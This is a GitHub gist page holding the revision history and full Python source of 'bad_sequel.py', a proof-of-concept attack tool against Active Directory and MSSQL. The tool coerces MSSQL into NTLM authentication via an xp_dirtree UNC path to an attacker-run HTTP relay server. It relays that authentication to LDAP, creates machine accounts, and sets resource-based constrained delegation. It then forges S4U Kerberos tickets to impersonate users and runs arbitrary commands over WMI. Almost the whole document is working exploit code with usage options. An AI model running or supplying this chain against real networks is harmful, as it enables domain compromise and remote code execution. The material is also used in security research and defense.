Skip to content

Instantly share code, notes, and snippets.

@slayerlab
Forked from 3xocyte/bad_sequel.py
Created March 6, 2020 17:36
Show Gist options
  • Select an option

  • Save slayerlab/4a1d02adfa9f47630dd97f9aba3ada46 to your computer and use it in GitHub Desktop.

Select an option

Save slayerlab/4a1d02adfa9f47630dd97f9aba3ada46 to your computer and use it in GitHub Desktop.

Revisions

  1. @3xocyte 3xocyte revised this gist Jan 27, 2019. 1 changed file with 3 additions and 0 deletions.
    3 changes: 3 additions & 0 deletions bad_sequel.py
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,8 @@
    #!/usr/bin/env python

    # for more info: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
    # this is a rough PoC

    # requirements for RCE:
    # - the attacker needs to either have or create an object with a service principal name
    # - the MSSQL server has to be running under the context of System/Network Service/a virtual account
  2. @3xocyte 3xocyte revised this gist Jan 27, 2019. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions bad_sequel.py
    Original file line number Diff line number Diff line change
    @@ -8,6 +8,7 @@

    # notes on this PoC:
    # - LDAPS relaying has not been implemented
    # - a command line switch for doing the initial connection for LDAP has also not yet been implemented
    # - mssql has to be listening on a TCP port
    # - you need to either add a dotless ADIDNS record for your relay host, or run Responder or similar tool
    # - if the account you've got doesn't have an SPN, it needs to have the ability to add machine accounts (by default, domain users can join up to 10;
  3. @3xocyte 3xocyte revised this gist Jan 26, 2019. 1 changed file with 3 additions and 2 deletions.
    5 changes: 3 additions & 2 deletions bad_sequel.py
    Original file line number Diff line number Diff line change
    @@ -8,6 +8,7 @@

    # notes on this PoC:
    # - LDAPS relaying has not been implemented
    # - mssql has to be listening on a TCP port
    # - you need to either add a dotless ADIDNS record for your relay host, or run Responder or similar tool
    # - if the account you've got doesn't have an SPN, it needs to have the ability to add machine accounts (by default, domain users can join up to 10;
    # the attribute to check is ms-DS-MachineAccountQuota, but some users have delegated rights over computer objects and such, so it really depends
    @@ -796,9 +797,9 @@ def wmi_exec(target, dc_ip, command):

    if options.mssql_user and options.mssql_pass:
    print "[*] using provided mssql credentials"
    mssql_trigger = MSSQLCommand(target=options.target, username=options.mssql_user, password=options.mssql_pass, windows=False)
    mssql_trigger = MSSQLCommand(target=options.target, port=options.mssql_port, username=options.mssql_user, password=options.mssql_pass, windows=False)
    else:
    mssql_trigger = MSSQLCommand(target=options.target, username=options.username, password=options.password, hashes=options.nthash, domain=options.domain, kdcHost=options.dc)
    mssql_trigger = MSSQLCommand(target=options.target, port=options.mssql_port, username=options.username, password=options.password, hashes=options.nthash, domain=options.domain, kdcHost=options.dc)

    mssql_command = "EXEC MASTER.sys.xp_dirtree '\\\\%s@%s\\share', 1, 1;" % (server_hostname, options.server_port)
    mssql_trigger.run_command(mssql_command)
  4. @3xocyte 3xocyte revised this gist Jan 26, 2019. No changes.
  5. @3xocyte 3xocyte created this gist Jan 26, 2019.
    825 changes: 825 additions & 0 deletions bad_sequel.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,825 @@
    #!/usr/bin/env python

    # requirements for RCE:
    # - the attacker needs to either have or create an object with a service principal name
    # - the MSSQL server has to be running under the context of System/Network Service/a virtual account
    # - the MSSQL server has the WebClient service installed and running (not default on Windows Server hosts)
    # - NTLM has to be in use

    # notes on this PoC:
    # - LDAPS relaying has not been implemented
    # - you need to either add a dotless ADIDNS record for your relay host, or run Responder or similar tool
    # - if the account you've got doesn't have an SPN, it needs to have the ability to add machine accounts (by default, domain users can join up to 10;
    # the attribute to check is ms-DS-MachineAccountQuota, but some users have delegated rights over computer objects and such, so it really depends
    # on which account you're using, and the quickest check is to just try)
    # - it's just a PoC
    # - it probably has bugs
    # - it might fry everything and wasn't written for production use
    # - the author is not liable for how others use this code

    import os
    import sys
    import string
    import SimpleHTTPServer
    import SocketServer
    import base64
    import random
    import struct
    import ConfigParser
    import string
    import argparse
    import datetime
    from time import sleep
    from argparse import *
    from threading import Thread

    from pyasn1.codec.der import decoder, encoder
    from pyasn1.type.univ import noValue

    from impacket import tds
    from impacket.ldap import ldaptypes
    from impacket.spnego import SPNEGO_NegTokenResp
    from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
    from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
    from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMAuthChallengeResponse

    from impacket.krb5 import constants
    from impacket.krb5.ccache import CCache
    from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5
    from impacket.krb5.types import Principal, KerberosTime, Ticket
    from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
    from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1, EncTGSRepPart

    from impacket.dcerpc.v5.dcomrt import DCOMConnection
    from impacket.dcerpc.v5.dcom import wmi
    from impacket.dcerpc.v5.dtypes import NULL

    from binascii import hexlify, unhexlify
    from struct import unpack
    from ldap3.operation import bind
    from ldap3 import Server, Connection, ALL, MODIFY_REPLACE, MODIFY_ADD, SUBTREE, NTLM
    from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM, RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED

    # adapted from @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py
    class MSSQLCommand:
    def __init__(self, target='', port=1433, username='', password='', domain='', windows=True, hashes=None, aesKey=None, kdcHost=None, doKerberos=False):
    self.target = target
    self.port = port
    self.username = username
    self.password = password
    self.domain = domain
    self.windows_auth = windows
    self.k = doKerberos
    self.mssql_connection = None
    self.conn = False
    self.dc_ip = kdcHost
    if hashes:
    self.hashes = '00000000000000000000000000000000:%s' % hashes
    else:
    self.hashes = None

    def run_command(self, command, show_output=False):
    self.mssql_login()
    if self.conn == True:
    print "[*] executing relay trigger"
    self.mssql_connection.sql_query(command)
    if show_output == True:
    self.mssql_connection.printReplies()
    self.mssql_connection.printRows()
    print "[+] mssql query complete"
    else:
    print "[!] mssql authentication failed"

    self.mssql_connection.disconnect()

    def mssql_login(self):
    self.mssql_connection = tds.MSSQL(self.target, self.port)
    self.mssql_connection.connect()
    print "[*] logging in to mssql instance..."
    try:
    self.conn = self.mssql_connection.login(None, self.username, self.password, self.domain, self.hashes, self.windows_auth)
    except Exception, e:
    print "[!] mssql authentication failed exception: " + str(e)

    # checks if the provided domain credentials have SPN(s); if not, attempt to create a machine account
    class SetupAttack:
    def __init__(self, username='', domain='', password='', nthash = None, machine_username = '', machine_password = '', server_hostname = '', dn='', dc_ip='', use_ssl=False):
    self.username = username
    self.domain = domain
    self.dn = dn
    self.machine_username = machine_username
    self.machine_password = machine_password
    self.encoded_password = None
    self.server_hostname = server_hostname
    self.dc_ip = dc_ip
    self.use_ssl = use_ssl
    self.ldap_connection = None
    if nthash:
    self.password = '00000000000000000000000000000000:%s' % nthash
    else:
    self.password = password

    def get_unicode_password(self):
    password = self.machine_password
    self.encoded_password = '"{}"'.format(password).encode('utf-16-le')

    def ldap_login(self):
    print "[*] logging in to ldap server"
    if self.use_ssl == True:
    s = Server(self.dc_ip, port = 636, use_ssl = True, get_info = ALL)
    else:
    s = Server(self.dc_ip, port = 389, get_info = ALL)

    domain_user = "%s\\%s" % (self.domain, self.username) # we're doing an NTLM login
    try:
    self.ldap_connection = Connection(s, user = domain_user, password = self.password, authentication=NTLM)
    if self.ldap_connection.bind() == True:
    print "[+] ldap login as %s successful" % domain_user
    except Exception, e:
    print "[!] unable to connect: %s" % str(e)
    sys.exit()

    # I put standalone code for this here: https://gist.github.com/3xocyte/8ad2d227d0906ea5ee294677508620f5
    def create_account(self):
    if self.machine_username == '':
    self.machine_username = ''.join(random.choice(string.uppercase + string.digits) for _ in range(8))
    if self.machine_username[-1:] != "$":
    self.machine_username += "$"
    if self.machine_password == '':
    self.machine_password = ''.join(random.choice(string.uppercase + string.lowercase + string.digits) for _ in range(25))

    self.get_unicode_password()

    dn = "CN=%s,CN=Computers,%s" % (self.machine_username[:-1], self.dn)
    dns_name = self.machine_username[:-1] + '.' + self.domain

    self.ldap_connection.add(dn, attributes={
    'objectClass':'Computer',
    'SamAccountName': self.machine_username,
    'userAccountControl': '4096',
    'DnsHostName': dns_name,
    'ServicePrincipalName': [
    'HOST/' + dns_name,
    'RestrictedKrbHost/' + dns_name,
    'HOST/' + self.machine_username[:-1],
    'RestrictedKrbHost/' + self.machine_username[:-1]
    ],
    'unicodePwd':self.encoded_password
    })
    print "[+] added machine account %s with password %s" % (self.machine_username, self.machine_password)

    def check_spn(self):
    search_filter = '(samaccountname=%s)' % self.username
    self.ldap_connection.search(search_base = self.dn, search_filter=search_filter, search_scope=SUBTREE, attributes=['servicePrincipalName'])
    if self.ldap_connection.entries[0]['servicePrincipalName']:
    return True
    else:
    return False

    def execute(self):
    self.ldap_login()
    if self.check_spn():
    print "[+] provided account has an SPN"
    self.machine_username = self.username
    self.machine_password = self.password
    else:
    self.create_account()
    if self.server_hostname == '':
    self.server_hostname = ''.join(random.choice(string.uppercase + string.digits) for _ in range(8))
    # was going to add an ADIDNS A record but this script is already a bit long for a PoC
    self.ldap_connection.unbind()
    return self.machine_username, self.machine_password, self.server_hostname

    class LDAPRelayClientException(Exception):
    pass

    # adapted from @_dirkjan and @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py
    class LDAPRelayClient:
    def __init__(self, extendedSecurity=True, dc_ip='', target='', domain='', target_hostname='', username='', dn=''):
    self.extendedSecurity = extendedSecurity
    self.negotiateMessage = None
    self.authenticateMessageBlob = None
    self.server = None
    self.targetPort = 389

    self.dc_ip = dc_ip
    self.domain = domain
    self.target = target
    self.target_hostname = target_hostname
    self.username = username
    self.dn = dn

    # rbcd attack stuff
    def get_sid(self, ldap_connection, domain, target):
    search_filter = "(sAMAccountName=%s)" % target
    try:
    ldap_connection.search(self.dn, search_filter, attributes = ['objectSid'])
    target_sid_readable = ldap_connection.entries[0].objectSid
    target_sid = ''.join(ldap_connection.entries[0].objectSid.raw_values)
    except Exception, e:
    print "[!] unable to to get SID of target: %s" % str(e)
    return target_sid

    def add_attribute(self, ldap_connection, user_sid):

    # "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<sid>"
    security_descriptor = (
    "\x01\x00\x04\x80\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x24\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00"
    "\x20\x02\x00\x00\x02\x00\x2C\x00\x01\x00\x00\x00\x00\x00\x24\x00"
    "\xFF\x01\x0F\x00"
    )

    # build payload
    payload = security_descriptor + user_sid
    # build LDAP query
    if self.target_hostname.endswith("$"): # assume computer account
    dn_base = "CN=%s,CN=Computers," % self.target_hostname[:-1]
    else:
    dn_base = "CN=%s,CN=Users," % self.target_hostname
    dn = dn_base + self.dn
    print "[*] adding attribute to object %s..." % self.target_hostname
    try:
    if ldap_connection.modify(dn, {'msds-allowedtoactonbehalfofotheridentity':(MODIFY_REPLACE, payload)}):
    print "[+] added msDS-AllowedToActOnBehalfOfOtherIdentity to object %s for object %s" % (self.target_hostname, self.username)
    else:
    print "[!] unable to modify attribute"
    except Exception, e:
    print "[!] unable to assign attribute: %s" % str(e)

    def killConnection(self):
    if self.session is not None:
    self.session.socket.close()
    self.session = None

    def initConnection(self):
    print "[*] initiating connection to ldap://%s:%s" % (self.dc_ip, self.targetPort)
    self.server = Server("ldap://%s:%s" % (self.dc_ip, self.targetPort), get_info=ALL)
    self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
    self.session.open(False)
    return True

    def sendNegotiate(self, negotiateMessage):
    negoMessage = NTLMAuthNegotiate()
    negoMessage.fromString(negotiateMessage)
    self.negotiateMessage = str(negoMessage)

    with self.session.connection_lock:
    if not self.session.sasl_in_progress:
    self.session.sasl_in_progress = True
    request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
    response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
    result = response[0]
    try:
    sicily_packages = result['server_creds'].decode('ascii').split(';')
    except KeyError:
    raise LDAPRelayClientException('[!] failed to discover authentication methods, server replied: %s' % result)

    if 'NTLM' in sicily_packages: # NTLM available on server
    request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
    response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
    result = response[0]

    if result['result'] == RESULT_SUCCESS:
    challenge = NTLMAuthChallenge()
    challenge.fromString(result['server_creds'])
    return challenge
    else:
    raise LDAPRelayClientException('[!] server did not offer ntlm authentication')

    #This is a fake function for ldap3 which wants an NTLM client with specific methods
    def create_negotiate_message(self):
    return self.negotiateMessage

    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
    if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
    respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
    token = respToken2['ResponseToken']
    print "unpacked response token: " + str(token)
    else:
    token = authenticateMessageBlob
    with self.session.connection_lock:
    self.authenticateMessageBlob = token
    request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)
    response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
    result = response[0]
    self.session.sasl_in_progress = False

    if result['result'] == RESULT_SUCCESS:
    self.session.bound = True
    self.session.refresh_server_info()
    print "[+] relay complete"
    print "[*] running RBCD attack..."
    user_sid = self.get_sid(self.session, self.domain, self.username)
    self.add_attribute(self.session, user_sid)
    return True, STATUS_SUCCESS
    else:
    print "result is failed"
    if result['result'] == RESULT_STRONGER_AUTH_REQUIRED:
    raise LDAPRelayClientException('[!] ldap signing is enabled')
    return None, STATUS_ACCESS_DENIED

    #This is a fake function for ldap3 which wants an NTLM client with specific methods
    def create_authenticate_message(self):
    return self.authenticateMessageBlob

    #Placeholder function for ldap3
    def parse_challenge_message(self, message):
    pass

    # todo
    class LDAPSRelayClient(LDAPRelayClient):
    PLUGIN_NAME = "LDAPS"
    MODIFY_ADD = MODIFY_ADD

    def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ):
    LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)

    def initConnection(self):
    self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
    self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
    self.session.open(False)
    return True

    # adapted from @_dirkjan and @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/servers/httprelayserver.py
    class HTTPRelayServer(Thread):
    class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    def __init__(self, server_address, RequestHandlerClass):
    SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass)

    class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):

    _dc_ip = ''
    _domain = ''
    _target = ''
    _target_hostname = ''
    _username = ''
    _dn = ''

    def __init__(self, request, client_address, server):
    self.protocol_version = 'HTTP/1.1'
    self.challengeMessage = None
    self.client = None
    self.machineAccount = None
    self.machineHashes = None
    self.domainIp = None
    self.authUser = None

    print "[*] got connection from %s" % (client_address[0])
    SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)

    def handle_one_request(self):
    SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self)

    def log_message(self, format, *args):
    return

    def do_REDIRECT(self):
    rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
    self.send_response(302)
    self.send_header('WWW-Authenticate', 'NTLM')
    self.send_header('Content-type', 'text/html')
    self.send_header('Connection','close')
    self.send_header('Location','/%s' % rstr)
    self.send_header('Content-Length','0')
    self.end_headers()

    def do_OPTIONS(self):
    messageType = 0
    if self.headers.getheader('Authorization') is None:
    self.do_AUTHHEAD(message = 'NTLM')
    pass
    else:
    typeX = self.headers.getheader('Authorization')
    try:
    _, blob = typeX.split('NTLM')
    token = base64.b64decode(blob.strip())
    except:
    self.do_AUTHHEAD()
    messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

    if messageType == 1:
    if not self.do_ntlm_negotiate(token):
    self.do_REDIRECT()
    elif messageType == 3:
    authenticateMessage = NTLMAuthChallengeResponse()
    authenticateMessage.fromString(token)
    print "[+] relaying account %s\\%s" % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))
    if not self.do_ntlm_auth(token, authenticateMessage):
    if authenticateMessage['user_name'] != '':
    self.do_REDIRECT()
    else:
    #If it was an anonymous login, send 401
    self.do_AUTHHEAD('NTLM')
    else:
    self.send_response(404)
    self.send_header('WWW-Authenticate', 'NTLM')
    self.send_header('Content-type', 'text/html')
    self.send_header('Content-Length','0')
    self.send_header('Connection','close')
    self.end_headers()
    return


    def do_AUTHHEAD(self, message = ''):
    self.send_response(401)
    self.send_header('WWW-Authenticate', message)
    self.send_header('Content-type', 'text/html')
    self.send_header('Content-Length','0')
    self.end_headers()

    # relay
    def do_ntlm_negotiate(self,token):
    try:
    self.client = LDAPRelayClient(dc_ip=self._dc_ip, target=self._target, domain=self._domain, target_hostname=self._target_hostname, username=self._username, dn=self._dn)
    self.client.initConnection()
    clientChallengeMessage = self.client.sendNegotiate(token)
    except Exception, e:
    print "[*] connection to ldap server %s failed" % self._dc_ip
    print str(e)
    return False
    self.do_AUTHHEAD(message = 'NTLM '+base64.b64encode(clientChallengeMessage.getData()))
    return True

    def do_ntlm_auth(self,token,authenticateMessage):
    client_session, errorCode = self.client.sendAuth(token)
    if errorCode == STATUS_SUCCESS:
    return client_session
    else:
    return False

    def __init__(self, domain='', dc_ip='', username='', target='', target_hostname='', dn='', port=80):
    Thread.__init__(self)
    self.daemon = True
    self.domain = domain
    self.dc_ip = dc_ip
    self.username = username
    self.target = target
    self.target_hostname = target_hostname
    self.dn = dn
    self.port = int(port)

    def run(self):
    httpd = self.HTTPServer(("", self.port), self.HTTPHandler)
    self.HTTPHandler._dc_ip = self.dc_ip
    self.HTTPHandler._domain = self.domain
    self.HTTPHandler._username = self.username
    self.HTTPHandler._target = self.target
    self.HTTPHandler._target_hostname = self.target_hostname
    self.HTTPHandler._dn = self.dn
    thread = Thread(target=httpd.serve_forever)
    thread.daemon = True
    thread.start()

    # by @agsolino and @elad_shamir see: https://github.com/SecureAuthCorp/impacket/pull/560
    class GETST:
    def __init__(self, target, password, domain, options):
    self.__password = password
    self.__user= target
    self.__domain = domain
    self.__aesKey = options.aesKey
    self.__options = options
    self.__kdcHost = options.dc_ip
    self.__saveFileName = None
    self.__lmhash = ''
    self.__nthash = ''
    if options.hashes is not None:
    self.__lmhash = '00000000000000000000000000000000'
    self.__nthash = options.hashes

    def saveTicket(self, ticket, sessionKey):
    print '[*] saving ticket: %s' % (self.__saveFileName + '.ccache')
    ccache = CCache()
    ccache.fromTGS(ticket, sessionKey, sessionKey)
    ccache.saveFile(self.__saveFileName + '.ccache')

    def doS4U(self, tgt, cipher, oldSessionKey, sessionKey):
    decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]

    # Extract the ticket from the TGT
    ticket = Ticket()
    ticket.from_asn1(decodedTGT['ticket'])

    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = list()
    apReq['ap-options'] = constants.encodeFlags(opts)
    seq_set(apReq,'ticket', ticket.to_asn1)

    authenticator = Authenticator()
    authenticator['authenticator-vno'] = 5
    authenticator['crealm'] = str(decodedTGT['crealm'])

    clientName = Principal()
    clientName.from_asn1( decodedTGT, 'crealm', 'cname')

    seq_set(authenticator, 'cname', clientName.components_to_asn1)

    now = datetime.datetime.utcnow()
    authenticator['cusec'] = now.microsecond
    authenticator['ctime'] = KerberosTime.to_asn1(now)

    encodedAuthenticator = encoder.encode(authenticator)

    # Key Usage 7
    # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
    # TGS authenticator subkey), encrypted with the TGS session
    # key (Section 5.5.1)
    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)

    apReq['authenticator'] = noValue
    apReq['authenticator']['etype'] = cipher.enctype
    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

    encodedApReq = encoder.encode(apReq)

    tgsReq = TGS_REQ()

    tgsReq['pvno'] = 5
    tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)

    tgsReq['padata'] = noValue
    tgsReq['padata'][0] = noValue
    tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
    tgsReq['padata'][0]['padata-value'] = encodedApReq

    # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
    # requests a service ticket to itself on behalf of a user. The user is
    # identified to the KDC by the user's name and realm.
    clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

    S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
    S4UByteArray += self.__options.impersonate + self.__domain + 'Kerberos'

    # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
    # with the following three parameters: the session key of the TGT of
    # the service performing the S4U2Self request, the message type value
    # of 17, and the byte array S4UByteArray.
    checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)

    paForUserEnc = PA_FOR_USER_ENC()
    seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
    paForUserEnc['userRealm'] = self.__domain
    paForUserEnc['cksum'] = noValue
    paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
    paForUserEnc['cksum']['checksum'] = checkSum
    paForUserEnc['auth-package'] = 'Kerberos'

    encodedPaForUserEnc = encoder.encode(paForUserEnc)

    tgsReq['padata'][1] = noValue
    tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
    tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc

    reqBody = seq_set(tgsReq, 'req-body')

    opts = list()
    opts.append( constants.KDCOptions.forwardable.value )
    opts.append( constants.KDCOptions.renewable.value )
    opts.append( constants.KDCOptions.canonicalize.value )

    reqBody['kdc-options'] = constants.encodeFlags(opts)

    serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)

    seq_set(reqBody, 'sname', serverName.components_to_asn1)
    reqBody['realm'] = str(decodedTGT['crealm'])

    now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

    reqBody['till'] = KerberosTime.to_asn1(now)
    reqBody['nonce'] = random.getrandbits(31)
    seq_set_iter(reqBody, 'etype',
    (int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))

    print '[*] requesting s4U2self'
    message = encoder.encode(tgsReq)

    r = sendReceive(message, self.__domain, None)

    tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]

    ################################################################################
    # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
    # So here I have a ST for me.. I now want a ST for another service
    # Extract the ticket from the TGT
    ticketTGT = Ticket()
    ticketTGT.from_asn1(decodedTGT['ticket'])

    ticket = Ticket()
    ticket.from_asn1(tgs['ticket'])

    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = list()
    apReq['ap-options'] = constants.encodeFlags(opts)
    seq_set(apReq,'ticket', ticketTGT.to_asn1)

    authenticator = Authenticator()
    authenticator['authenticator-vno'] = 5
    authenticator['crealm'] = str(decodedTGT['crealm'])

    clientName = Principal()
    clientName.from_asn1( decodedTGT, 'crealm', 'cname')

    seq_set(authenticator, 'cname', clientName.components_to_asn1)

    now = datetime.datetime.utcnow()
    authenticator['cusec'] = now.microsecond
    authenticator['ctime'] = KerberosTime.to_asn1(now)

    encodedAuthenticator = encoder.encode(authenticator)

    # Key Usage 7
    # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
    # TGS authenticator subkey), encrypted with the TGS session
    # key (Section 5.5.1)
    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)

    apReq['authenticator'] = noValue
    apReq['authenticator']['etype'] = cipher.enctype
    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

    encodedApReq = encoder.encode(apReq)

    tgsReq = TGS_REQ()

    tgsReq['pvno'] = 5
    tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
    tgsReq['padata'] = noValue
    tgsReq['padata'][0] = noValue
    tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
    tgsReq['padata'][0]['padata-value'] = encodedApReq

    # Add resource-based constrained delegation support
    tgsReq['padata'][1] = noValue
    tgsReq['padata'][1]['padata-type'] = 167
    tgsReq['padata'][1]['padata-value'] = "3009a00703050010000000".decode("hex")


    reqBody = seq_set(tgsReq, 'req-body')

    opts = list()
    # This specified we're doing S4U
    opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
    opts.append(constants.KDCOptions.canonicalize.value)
    opts.append(constants.KDCOptions.forwardable.value)
    opts.append(constants.KDCOptions.renewable.value)

    reqBody['kdc-options'] = constants.encodeFlags(opts)
    service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
    seq_set(reqBody, 'sname', service2.components_to_asn1)
    reqBody['realm'] = self.__domain

    myTicket = ticket.to_asn1(TicketAsn1())
    seq_set_iter(reqBody, 'additional-tickets', (myTicket,))

    now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

    reqBody['till'] = KerberosTime.to_asn1(now)
    reqBody['nonce'] = random.getrandbits(31)
    seq_set_iter(reqBody, 'etype',
    (
    int(constants.EncryptionTypes.rc4_hmac.value),
    int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
    int(constants.EncryptionTypes.des_cbc_md5.value),
    int(cipher.enctype)
    )
    )
    message = encoder.encode(tgsReq)
    print '[+] s4u2self complete'

    print '[*] requesting s4U2proxy'
    r = sendReceive(message, self.__domain, None)

    tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]

    cipherText = tgs['enc-part']['cipher']

    # Key Usage 8
    # TGS-REP encrypted part (includes application session
    # key), encrypted with the TGS session key (Section 5.4.2)
    plainText = cipher.decrypt(sessionKey, 8, str(cipherText))

    encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]

    newSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue']))

    # Creating new cipher based on received keytype
    cipher = _enctype_table[encTGSRepPart['key']['keytype']]
    print '[+] s4U2proxy complete'

    return r, cipher, sessionKey, newSessionKey

    def run(self):
    userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    print '[*] getting tgt for %s' % userName
    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
    unhexlify(self.__lmhash), unhexlify(self.__nthash),
    self.__aesKey,
    self.__kdcHost)
    print '[*] impersonating %s' % self.__options.impersonate
    tgs, copher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey)
    self.__saveFileName = 'evil'
    self.saveTicket(tgs,oldSessionKey)

    # adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
    def wmi_exec(target, dc_ip, command):
    dcom = DCOMConnection(target, oxidResolver=True, doKerberos=True, kdcHost=dc_ip)
    try:
    iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
    iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
    iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
    iWbemLevel1Login.RemRelease()
    win32Process,_ = iWbemServices.GetObject('Win32_Process')
    win32Process.Create(command, unicode('C:\\'), None)
    dcom.disconnect()
    except Exception, e:
    print "[!] exception raised: %s" % str(e)
    sys.exit()

    if __name__ == '__main__':

    parser = ArgumentParser(add_help = True, description = "MSSQL RCE PoC (@3xocyte and @elad_shamir)")
    parser.add_argument('-d', '--domain', action="store", default='', help='valid fully-qualified domain name', required=True)
    parser.add_argument('-u', '--username', action="store", default='', help='valid domain username', required=True)
    password_or_ntlm = parser.add_mutually_exclusive_group(required=True)
    password_or_ntlm.add_argument('-p', '--password', action="store", default='', help='valid password')
    password_or_ntlm.add_argument('-n', '--nthash', action="store", default='', help='valid ntlm hash')
    parser.add_argument('--mssql-port', action="store", default=1433, help='mssql server port')
    parser.add_argument('--mssql-user', action="store", default='', help='mssql server username (if different from domain account)')
    parser.add_argument('--mssql-pass', action="store", default='', help='mssql server password (if different from domain account)')
    parser.add_argument('--machine-user', action="store", default='', help="machine account name (if provided domain account has no SPN and a machine account will be created)")
    parser.add_argument('--machine-pass', action="store", default='', help="machine account password (if provided domain account has no SPN and a machine account will be created)")
    parser.add_argument('--server-hostname', action="store", default='', help="hostname to use for the relaying server (ie, this machine); this should adhere to 'The Dot rule' to elicit NTLM authentication")
    parser.add_argument('--server-port', action="store", default=80, help="port to use for the relaying server (ie, this machine)")
    parser.add_argument('dc', help='ip address or hostname of dc')
    parser.add_argument('target_hostname', help='target mssql server samaccountname')
    parser.add_argument('target', help='target mssql server fqdn')
    parser.add_argument('command', help='command to execute over WMI')
    options = parser.parse_args()

    print """
    _| _| _|
    _|_|_| _|_|_| _|_|_| _|_|_| _|_| _|_|_| _| _| _|_| _|
